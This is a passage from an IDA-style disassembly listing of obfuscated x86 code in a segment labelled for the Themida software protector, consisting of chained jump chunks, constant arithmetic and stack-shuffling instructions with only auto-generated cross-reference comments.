; ---------------------------------------------------------------------------


loc_557F55:				; CODE XREF: Themida_:005539CFj
		xchg	esi, [esp]
		pop	esp
		imul	ecx
		push	3AA2h
		jmp	loc_55A107
; ---------------------------------------------------------------------------


loc_557F65:				; CODE XREF: Themida_:005584A9j
		add	eax, edx
		push	edi
		mov	edi, 1451710Bh
		xor	edi, 59981FDBh
		shl	edi, 4
		add	edi, 88334E7Bh
		sub	eax, edi
		pop	edi
		push	dword ptr [esp]
		mov	edx, [esp]
		add	esp, 4
		add	esp, 4
		push	ecx
		push	edx
		push	36C3438Fh
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_559836
; ---------------------------------------------------------------------------


loc_557FA0:				; CODE XREF: Themida_:00557AB4j
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		push	esi
		mov	esi, esp
		add	esi, 4
		push	eax
		push	ebp
		jmp	loc_559EC1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559977


loc_557FBA:				; CODE XREF: sub_559977-7A96j
		mov	ebp, 246B195Bh
		inc	ebp
		jmp	sub_551F97
; END OF FUNCTION CHUNK	FOR sub_559977
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_552215


loc_557FC5:				; CODE XREF: sub_552215+465j
		xchg	ecx, edi
		jmp	loc_5537DC
; END OF FUNCTION CHUNK	FOR sub_552215
; ---------------------------------------------------------------------------


loc_557FCC:				; CODE XREF: Themida_:00552680j
		push	ecx
		sub	esp, 4
		jmp	loc_55BF16
; ---------------------------------------------------------------------------


loc_557FD5:				; CODE XREF: Themida_:0055188Ej
		mov	eax, [esp]
		jmp	loc_55D465
; ---------------------------------------------------------------------------


loc_557FDD:				; CODE XREF: Themida_:0055B038j
		mov	edi, 54E43700h
		mov	ebx, 0AE5B1B36h
		sub	ebx, 18455F7Fh
		add	ebx, edi
		add	ebx, 18455F7Fh
		jmp	loc_55481D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556901


loc_557FFA:				; CODE XREF: sub_556901-4F7Fj
		pop	ecx
		jmp	loc_557D72
; END OF FUNCTION CHUNK	FOR sub_556901
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556BCD


loc_558000:				; CODE XREF: sub_556BCD+6393j
		xor	al, cl
		jmp	loc_552166
; END OF FUNCTION CHUNK	FOR sub_556BCD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55ABF6


loc_558007:				; CODE XREF: sub_55ABF6-817j
		cmp	cx, ax
		pushf
		jmp	loc_5514E3
; ---------------------------------------------------------------------------


loc_558010:				; CODE XREF: sub_55ABF6+4BBj
		mov	ebx, 4
		add	ebp, ebx
		pop	ebx
		xchg	ebp, [esp+0]
		mov	esp, [esp+0]
		push	eax
		push	esp
		pop	eax
		add	eax, 4
		jmp	loc_555528
; END OF FUNCTION CHUNK	FOR sub_55ABF6

; =============== S U B	R O U T	I N E =======================================



sub_55802B	proc near		; CODE XREF: sub_55AB81-3DAFj

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0055192D SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00553E16 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005549EA SIZE 00000027 BYTES
; FUNCTION CHUNK AT 00556C36 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005578AD SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00557A1C SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00558516 SIZE 00000062 BYTES
; FUNCTION CHUNK AT 005597A1 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00559969 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00559D89 SIZE 00000031 BYTES
; FUNCTION CHUNK AT 00559FE1 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0055AB99 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0055B806 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0055C700 SIZE 00000029 BYTES

		push	ebp
		mov	ebp, 0B2F0FC3h
		shr	ebp, 7
		not	ebp
		add	ebp, 165E24h
		jmp	loc_559969
sub_55802B	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55A0D6


loc_558041:				; CODE XREF: sub_55A0D6+751j
		pop	esi
		jmp	loc_556A01
; END OF FUNCTION CHUNK	FOR sub_55A0D6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_557D5E


loc_558047:				; CODE XREF: sub_557D5E-4DB8j
		neg	ebp
		xor	ebp, 0D31F57C6h
		jmp	loc_55B9A4
; END OF FUNCTION CHUNK	FOR sub_557D5E
; ---------------------------------------------------------------------------


loc_558054:				; CODE XREF: Themida_:00557DA8j
		neg	ebx
		and	ebx, 43800270h
		push	esi
		mov	esi, 5D760FA0h
		jmp	loc_55D7D0
; ---------------------------------------------------------------------------


loc_558067:				; CODE XREF: Themida_:0055B41Ej
		mov	edx, [esp]
		add	esp, 4
		push	esi
		push	4A38652Bh
		pop	esi
		sub	esi, 4A386527h
		add	edx, esi
		pop	esi
		push	ecx
		mov	ecx, 2
		add	edx, ecx
		pop	ecx
		jmp	loc_558F83
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_552791


loc_55808E:				; CODE XREF: sub_552791+5734j
		or	bl, ah
		jmp	loc_55D87D
; END OF FUNCTION CHUNK	FOR sub_552791
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55ABF6


loc_558095:				; CODE XREF: sub_55ABF6-5E7j
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp+2+var_4+2]
		pop	esp
		mov	[esp+0], ecx
		pop	eax
		mov	ecx, [esp-6+arg_0+2]
		add	esp, 4
		push	1AD1h
		mov	[esp-6+arg_0+2], edi
		push	3E6Fh
		jmp	loc_556023
; END OF FUNCTION CHUNK	FOR sub_55ABF6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_555A6F


loc_5580BE:				; CODE XREF: sub_555A6F+6079j
		add	edx, 241432Bh
		mov	[edx], al
		pop	edx
		mov	ebx, [esp+0Ch+var_C]
		add	esp, 4
		jmp	loc_5514E3
; END OF FUNCTION CHUNK	FOR sub_555A6F
; ---------------------------------------------------------------------------


loc_5580D2:				; CODE XREF: Themida_:0055468Ej
		push	ebx
		mov	ebx, 4
		add	eax, ebx
		jmp	loc_55C575
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55C1DB


loc_5580DF:				; CODE XREF: sub_55C1DB-6DD9j
		push	eax
		mov	eax, 0B2F2BE9h
		jmp	loc_55CE45
; END OF FUNCTION CHUNK	FOR sub_55C1DB
; ---------------------------------------------------------------------------
		mov	ecx, [esp]
		push	ecx
		mov	ecx, esp
		push	esi
		mov	esi, 78CD00B6h
		push	edi
		mov	edi, 76535DFDh
		dec	edi
		xchg	ebp, edi
		jmp	loc_555915
; ---------------------------------------------------------------------------


loc_558104:				; CODE XREF: Themida_:0055751Cj
		mov	edx, 5494564Dh
		sub	edx, 54945649h
		mov	ecx, edx
		jmp	loc_555ED2
; ---------------------------------------------------------------------------


loc_558116:				; CODE XREF: Themida_:00556B56j
		add	ebp, edx
		sub	ebp, 8AE6C20h
		mov	edx, [esp]
		add	esp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		jmp	loc_55285E
; ---------------------------------------------------------------------------


loc_558132:				; CODE XREF: Themida_:0055821Bj
		mov	ebp, 2
		add	edi, ebp
		jmp	loc_55AC32
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_551F80


loc_55813E:				; CODE XREF: sub_551F80+8347j
		add	esp, 4
; END OF FUNCTION CHUNK	FOR sub_551F80
; START	OF FUNCTION CHUNK FOR sub_55ABF6


loc_558144:				; CODE XREF: sub_55ABF6-46B0j
					; sub_55802B+4EDj
		push	dword ptr [edi+24h]
		jmp	loc_5523EA
; END OF FUNCTION CHUNK	FOR sub_55ABF6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55CE17


loc_55814C:				; CODE XREF: sub_55CE17-678Dj
		xor	eax, esi
		xor	esi, eax
		xor	eax, esi
		push	186Bh
		mov	[esp-4+arg_0], ebx
		push	esp
		jmp	loc_5532B0
; END OF FUNCTION CHUNK	FOR sub_55CE17
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55CFFC


loc_558160:				; CODE XREF: sub_55CFFC-77DEj
		add	edx, 4
		jmp	loc_55C901
; END OF FUNCTION CHUNK	FOR sub_55CFFC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559249


loc_558168:				; CODE XREF: sub_559249+13ECj
		and	eax, 6B810B74h
		jmp	loc_558268
; ---------------------------------------------------------------------------


loc_558172:				; CODE XREF: sub_559249-31E4j
		sub	ecx, 56B675D0h
		jmp	loc_557CB1
; END OF FUNCTION CHUNK	FOR sub_559249
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_555A6F


loc_55817D:				; CODE XREF: sub_555A6F-A1Dj
		mov	ebx, edx
		jmp	loc_55B8CF
; END OF FUNCTION CHUNK	FOR sub_555A6F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55ABF6


loc_558184:				; CODE XREF: sub_55ABF6-6180j
		add	esp, 4
		sub	esi, 79EF5260h
		xor	esi, 43A62E34h
		mov	ecx, esi
		pop	esi
		jmp	loc_55A460
; END OF FUNCTION CHUNK	FOR sub_55ABF6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55A4DA


loc_55819B:				; CODE XREF: sub_55A4DA+2169j
		push	edi
		mov	edi, 643B1899h
		add	[esp+10h+var_C], edi
		pop	edi
		mov	ebx, [esp+0Ch+var_C]
		add	esp, 4
		push	70E7h
		mov	[esp+0Ch+var_C], ebp
		push	edx
		mov	edx, 58E54A2Dh
		jmp	loc_55AF5A
; END OF FUNCTION CHUNK	FOR sub_55A4DA
; ---------------------------------------------------------------------------


loc_5581C2:				; CODE XREF: Themida_:00558630j
		pop	ebx
		jmp	loc_551FF4
; ---------------------------------------------------------------------------


loc_5581C8:				; CODE XREF: Themida_:00551D26j
		add	eax, 44417D78h
		pop	ecx
		xchg	eax, [esp]
		pop	esp
		add	esp, 4
		jmp	loc_5514E3
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	3F40h
		mov	[esp], edi
		push	eax
		push	esp
		pop	eax
		add	eax, 4
		push	edx
		mov	edx, 4
		sub	eax, edx
		pop	edx
		xchg	eax, [esp]
		pop	esp
		mov	[esp], esp
		add	dword ptr [esp], 4
		mov	edi, [esp]
		add	esp, 4
		push	ebp
		mov	ebp, 4
		add	edi, ebp
		pop	ebp
		push	ebp
		jmp	loc_558132
; ---------------------------------------------------------------------------


loc_558220:				; CODE XREF: Themida_:00556A45j
		pop	ecx
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		movzx	eax, al
		push	dword ptr [edi+eax*4]
		jmp	loc_554131
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_551B36


loc_558233:				; CODE XREF: sub_551B36+1Cj
		add	esp, 4
		pop	[esp+8+var_8]
		mov	esp, [esp+4+var_4]
		jmp	loc_55D873
; END OF FUNCTION CHUNK	FOR sub_551B36
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55C814


loc_558244:				; CODE XREF: sub_55C814-9A3Aj
		pop	edx
		add	ebx, 4D533E7Bh
		jmp	loc_55642A
; END OF FUNCTION CHUNK	FOR sub_55C814
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55910B


loc_558250:				; CODE XREF: sub_55910B-5D61j
		push	eax
		jmp	loc_55437E
; END OF FUNCTION CHUNK	FOR sub_55910B
; ---------------------------------------------------------------------------


loc_558256:				; CODE XREF: Themida_:0055CF23j
		push	edi
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], esi
		jmp	loc_5539BF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559249


loc_558268:				; CODE XREF: sub_559249-10DCj
		xor	eax, 517D12F4h
		jmp	loc_55343A
; END OF FUNCTION CHUNK	FOR sub_559249
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55910B


loc_558272:				; CODE XREF: sub_55910B+1j
		mov	bh, 0F2h
		shr	bh, 6
		sub	bh, 87h
		sub	bh, 8Ah
		sub	dh, bh
		pop	ebx
		add	dh, 5Eh
		push	ecx
		mov	ch, dh
		mov	bl, ch
		pop	ecx
		jmp	loc_55B3FB
; END OF FUNCTION CHUNK	FOR sub_55910B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55AE3A


loc_55828E:				; CODE XREF: sub_55AE3A-7882j
		add	bl, al
		push	ecx
		mov	ch, 76h
		and	ch, 0DAh
		add	ch, 8Ah
		shr	ch, 5
		push	75DCh
		mov	[esp+0], ebx
		mov	bh, 1Eh
		jmp	loc_5523A7
; END OF FUNCTION CHUNK	FOR sub_55AE3A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_553284


loc_5582AB:				; CODE XREF: sub_553284+154Dj
		sub	ebx, eax
		pop	eax
		xchg	ebx, [esp+0]
		mov	esp, [esp+0]
		jmp	loc_554F33
; END OF FUNCTION CHUNK	FOR sub_553284
; ---------------------------------------------------------------------------


loc_5582B9:				; CODE XREF: Themida_:00559F00j
		mov	[esp], cx
		jmp	loc_5514E3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_553EEA


loc_5582C2:				; CODE XREF: sub_553EEA+5E4Ej
		push	edi
		push	441Eh
		mov	[esp+8+var_8], esp
		add	[esp+8+var_8], 4
		pop	edi
		jmp	sub_556B0D
; END OF FUNCTION CHUNK	FOR sub_553EEA
; ---------------------------------------------------------------------------


loc_5582D8:				; CODE XREF: Themida_:00554167j
		neg	dword ptr [esp]
		jmp	loc_55DA53
; ---------------------------------------------------------------------------


loc_5582E0:				; CODE XREF: Themida_:005585E7j
		push	ecx
		mov	ecx, 468E7F33h
		add	ecx, 1AAC7B09h
		push	edx
		mov	edx, 1A053B97h
		or	ecx, edx
		jmp	loc_555380
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_552215


loc_5582F9:				; CODE XREF: sub_552215+A703j
		pop	edi
		push	edx
		jmp	loc_552969
; END OF FUNCTION CHUNK	FOR sub_552215
; ---------------------------------------------------------------------------


loc_558300:				; CODE XREF: Themida_:00551818j
		and	bh, 72h
		shl	bh, 5
		not	bh
		sub	bh, 0B4h
		xor	cl, bh
		jmp	loc_5574D4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55B1F8


loc_558312:				; CODE XREF: sub_55B1F8-4630j
		push	esi
		mov	esi, 2
		add	eax, esi
		jmp	loc_556A4A
; END OF FUNCTION CHUNK	FOR sub_55B1F8
; ---------------------------------------------------------------------------


loc_55831F:				; CODE XREF: Themida_:0055287Fj
		add	esi, ecx
		jmp	loc_5573A1

; =============== S U B	R O U T	I N E =======================================



sub_558326	proc near		; CODE XREF: sub_55326E+6921j

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0055179B SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00551DAD SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00551E86 SIZE 00000023 BYTES
; FUNCTION CHUNK AT 005529AD SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00553617 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00553B14 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00554799 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 00554DAE SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00556F29 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00557089 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005578F6 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00557A91 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00557C0B SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00557D08 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0055893B SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005595B5 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0055967D SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005598C7 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0055A6AB SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0055ABBC SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0055B11E SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0055B57C SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0055BF7F SIZE 0000001B BYTES
; FUNCTION CHUNK AT 0055C111 SIZE 00000023 BYTES
; FUNCTION CHUNK AT 0055C22B SIZE 00000028 BYTES
; FUNCTION CHUNK AT 0055C8B4 SIZE 00000023 BYTES
; FUNCTION CHUNK AT 0055D295 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0055DBCD SIZE 0000001D BYTES

		push	ebx
		push	esi
		add	[esp+8+var_8], 6568308Ch
		pop	ebx
		sub	ebx, 6568308Ch
		push	esi
		mov	esi, ebx
		push	esi
		pop	edi
		jmp	loc_5529AD
sub_558326	endp

; ---------------------------------------------------------------------------


loc_558340:				; CODE XREF: Themida_:0055746Aj
		pop	edi
		push	ecx
		mov	ecx, 77F76FC6h
		neg	ecx
		sub	ecx, 30C420C1h
		dec	ecx
		neg	ecx
		shr	ecx, 3
		push	edx
		jmp	loc_55D1BC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559249


loc_55835B:				; CODE XREF: sub_559249-3029j
		push	2CBDh
		mov	[esp+8+var_8], eax
		push	ebp
		mov	ebp, 0A6F3097h
		mov	eax, ebp
		pop	ebp
		xor	ecx, eax
		jmp	loc_55AF71
; END OF FUNCTION CHUNK	FOR sub_559249
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5525C0


loc_558373:				; CODE XREF: sub_5525C0+3j
		pop	eax
		push	edx
		mov	edx, esp
		jmp	sub_55389F
; END OF FUNCTION CHUNK	FOR sub_5525C0
; ---------------------------------------------------------------------------


loc_55837C:				; CODE XREF: Themida_:00553EA8j
		sub	esp, 4
		mov	[esp], ebx
		push	esp
		pop	ebx
		push	eax
		push	ebp
		mov	ebp, 47FB779Eh
		neg	ebp
		not	ebp
		jmp	loc_55CB98
; ---------------------------------------------------------------------------


loc_558394:				; CODE XREF: Themida_:0055259Ej
		add	bh, 0ECh
		add	bh, 45h
		sub	al, bh
		pop	ebx
		mov	dx, [esp]
		add	esp, 2
		sub	al, bl
		push	ecx
		mov	ch, 61h
		sub	ch, 0ECh
		xchg	al, ch
		not	al
		xor	ch, al
		jmp	loc_5519C6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5545BE


loc_5583B7:				; CODE XREF: sub_5545BE+358Fj
		add	bh, 0FEh
		push	eax
		mov	al, 7Ch
		sub	al, 0E4h
		xor	al, 49h
		jmp	loc_559F0B
; END OF FUNCTION CHUNK	FOR sub_5545BE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5523E1


loc_5583C6:				; CODE XREF: sub_5523E1+86D5j
		push	esp
		pop	edx
		jmp	loc_552302
; END OF FUNCTION CHUNK	FOR sub_5523E1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_552E8E


loc_5583CD:				; CODE XREF: sub_552E8E-1EDj
		add	edi, edx
		pop	edx
		push	ebp
		mov	ebp, 8C90DE5h
		dec	ebp
		sub	ebp, 8C90DE0h
		add	edi, ebp
		pop	ebp
		xchg	edi, [esp+8+var_8]
		mov	esp, [esp+8+var_8]
		push	ebp
		push	edx
		mov	edx, 676355CAh
		not	edx
		jmp	loc_552702
; END OF FUNCTION CHUNK	FOR sub_552E8E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559977


loc_5583F4:				; CODE XREF: sub_559977+9j
		pop	ebx
		push	ecx
		jmp	loc_55DE2E
; END OF FUNCTION CHUNK	FOR sub_559977
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55CE17


loc_5583FB:				; CODE XREF: sub_55CE17-44FBj
		add	edi, ebp
		pop	ebp
		sub	edi, 4
		xchg	edi, [esp-4+arg_0]
		pop	esp
		mov	[esp-8+arg_4], edi
		mov	edi, 61F774C5h
		push	ecx
		mov	ecx, 0C2219C4h
		not	ecx
		xor	ecx, 61546429h
		not	ecx
		xor	ecx, 75697E8Eh
		add	edi, ecx
		mov	ecx, [esp-4+arg_0]
		add	esp, 4
		push	edx
		jmp	loc_55C8A7
; END OF FUNCTION CHUNK	FOR sub_55CE17
; ---------------------------------------------------------------------------


loc_558437:				; CODE XREF: Themida_:0055A87Dj
		pop	edx
		jmp	loc_5570CE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55BB30


loc_55843D:				; CODE XREF: sub_55BB30-6C98j
		add	ebx, 48BB5A11h
		push	5D3Fh
		mov	[esp+8+var_8], eax
		jmp	loc_5514E3
; END OF FUNCTION CHUNK	FOR sub_55BB30
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55C1DB


loc_558450:				; CODE XREF: sub_55C1DB-5313j
		mov	ebx, 1C97DAA2h
		mov	edi, ebx
		pop	ebx
		jmp	loc_55A244
; END OF FUNCTION CHUNK	FOR sub_55C1DB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55ABF6


loc_55845D:				; CODE XREF: sub_55ABF6-B3Fj
		mov	[esp-0Ah+arg_4+2], edi
		not	[esp-0Ah+arg_4+2]
		jmp	loc_552B9D
; END OF FUNCTION CHUNK	FOR sub_55ABF6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_553284


loc_558468:				; CODE XREF: sub_553284+1j
		mov	ebx, 4
		mov	edi, ebx
		mov	ebx, [esp+4+var_4]
		add	esp, 4
		sub	ebx, 1F9006Ah
		jmp	loc_5547B3
; END OF FUNCTION CHUNK	FOR sub_553284
; ---------------------------------------------------------------------------


loc_558483:				; CODE XREF: Themida_:0055BF5Fj
		xor	esi, 0FD66FF44h
		shl	esi, 1
		not	esi
		sub	esi, 74EC4648h
		xor	esi, 0B01B5BFEh
		push	ebx
		mov	ebx, 582E22F2h
		jmp	loc_55597C
; ---------------------------------------------------------------------------


loc_5584A4:				; CODE XREF: Themida_:00553B64j
		add	eax, 64CA3B7Bh
		jmp	loc_557F65
; ---------------------------------------------------------------------------


loc_5584AE:				; CODE XREF: Themida_:00555D5Aj
		mov	esi, 4
		add	ecx, esi
		pop	esi
		push	ecx
		push	dword ptr [esp+4]
		jmp	loc_5539DF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55B304


loc_5584C0:				; CODE XREF: sub_55B304+37j
		add	ebx, ebp
		push	[esp+8+var_8]
		pop	ebp
		add	esp, 4
		xchg	ebx, [esp+4+var_4]
		mov	esp, [esp+4+var_4]
		jmp	loc_5573D2
; END OF FUNCTION CHUNK	FOR sub_55B304
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55314C


loc_5584D7:				; CODE XREF: sub_55314C+9E36j
		xor	ebp, esi
		pop	esi
		add	ebx, ebp
		pop	ebp
		and	eax, ebx
		push	dword ptr [esp+0]
		pop	ebx
		push	eax
		mov	eax, esp
		push	edx
		mov	edx, 4E763E61h
		or	edx, 553D6FB4h
		shl	edx, 6
		shr	edx, 4
		xor	edx, 0DFDFFD0h
		add	eax, edx
		pop	edx
		add	eax, 4
		xchg	eax, [esp+4+var_4]
		pop	esp
		jmp	loc_557A77
; END OF FUNCTION CHUNK	FOR sub_55314C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_552F98


loc_55850F:				; CODE XREF: sub_552F98+85Bj
		pop	esi
		push	ebx
		jmp	loc_554CE3
; END OF FUNCTION CHUNK	FOR sub_552F98
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55802B


loc_558516:				; CODE XREF: sub_55802B-361Fj
		or	eax, eax
		jz	loc_558144
		push	dword ptr [edi+28h]
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp+8+var_8]
		pop	esp
		mov	[esp+4+var_4], ebp
		push	eax
		mov	eax, 3D3356E9h
		xor	eax, 270D28E6h
		mov	ebp, eax
		pop	eax
		push	edi
		mov	edi, 3F313020h
		add	[esp+8], edi
		pop	edi
		sub	dword ptr [esp+4], 7C277D88h
		add	[esp+4], ebp
		add	dword ptr [esp+4], 7C277D88h
		sub	dword ptr [esp+4], 3F313020h
		pop	ebp
		mov	eax, [esp+0]
		push	esi
		mov	esi, esp
		jmp	loc_557A1C
; END OF FUNCTION CHUNK	FOR sub_55802B
; ---------------------------------------------------------------------------


loc_558578:				; CODE XREF: Themida_:0055BCB3j
		mov	esi, 5D7C7AADh
		add	eax, esi
		jmp	loc_555C47
; ---------------------------------------------------------------------------
		lodsd
		push	edi
		push	62DA150Ah
		pop	edi
		dec	edi
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		jmp	loc_554BF8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55C1DB


loc_5585A1:				; CODE XREF: sub_55C1DB-45B4j
		mov	eax, edi
		pop	edi
		jmp	loc_5553EF
; END OF FUNCTION CHUNK	FOR sub_55C1DB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_552215


loc_5585A9:				; CODE XREF: sub_552215+3CF4j
		pop	edx
		add	[esp+1Ch+var_14], edx
		pop	edx
		add	[esp+18h+var_14], ecx
		jmp	loc_554A9E
; END OF FUNCTION CHUNK	FOR sub_552215
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_554F87


loc_5585B8:				; CODE XREF: sub_554F87+1j
		mov	ebp, 1
		mov	ecx, ebp
		pop	ebp
		sub	edi, ecx
		pop	ecx
		xor	edi, 631F3F52h
		add	edx, edi
		jmp	loc_55C497
; END OF FUNCTION CHUNK	FOR sub_554F87
; ---------------------------------------------------------------------------


loc_5585D0:				; CODE XREF: Themida_:00554174j
		xor	eax, esi
		pop	esi
		push	13FFh
		mov	[esp], edi
		mov	edi, 24F3EF98h
		sub	eax, 6D325D12h
		sub	eax, edi
		jmp	loc_5582E0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55ABF6


loc_5585EC:				; CODE XREF: sub_55ABF6-76FDj
		add	[esp+4], ebx
		pop	ebx
		mov	ebx, [esp+0]
		add	esp, 4
		add	ebx, 4
		jmp	sub_5552D5
; END OF FUNCTION CHUNK	FOR sub_55ABF6
; ---------------------------------------------------------------------------


loc_558602:				; CODE XREF: Themida_:00553241j
		pop	edx
		push	edx
		push	ebx
		mov	bl, 0BCh
		mov	dh, bl
		pop	ebx
		shr	dh, 2
		jmp	loc_558AF1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55326E


loc_558612:				; CODE XREF: sub_55326E+25E0j
		push	eax
		mov	eax, esp
		jmp	loc_55D283
; END OF FUNCTION CHUNK	FOR sub_55326E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556D34


loc_55861A:				; CODE XREF: sub_556D34+38Bj
		sub	esi, ebx
		pop	ebx
		xor	esi, 1D71CE2h
		add	ebx, 31C16796h
		jmp	loc_55A99E
; END OF FUNCTION CHUNK	FOR sub_556D34
; ---------------------------------------------------------------------------


loc_55862E:				; CODE XREF: Themida_:0055B6E1j
		push	ebx
		push	esp
		jmp	loc_5581C2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_552E14


loc_558635:				; CODE XREF: sub_552E14+24j
		add	al, 37h
		add	al, bl
		sub	al, 37h
		jmp	sub_556BCD
; END OF FUNCTION CHUNK	FOR sub_552E14
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559249


loc_558640:				; CODE XREF: sub_559249-55D8j
		mov	esi, [esp+0Ch+var_C]
		add	esp, 4
		xor	[esp+8+var_4], edx
		pop	edx
		mov	ecx, [esp+4+var_4]
		push	edx
		jmp	loc_55BD4B
; END OF FUNCTION CHUNK	FOR sub_559249

; =============== S U B	R O U T	I N E =======================================



sub_558657	proc near		; DATA XREF: Themida_:00551228o

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= word ptr  4

; FUNCTION CHUNK AT 00553360 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00553FE1 SIZE 00000036 BYTES
; FUNCTION CHUNK AT 005543D6 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00555692 SIZE 00000024 BYTES
; FUNCTION CHUNK AT 0055607F SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00557227 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00557711 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 0055AA56 SIZE 00000014 BYTES

		mov	ax, [esp+0]
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp+4+var_4]
		pop	esp
		mov	[esp+0], ebx
		push	esp
		pop	ebx
		jmp	loc_557711
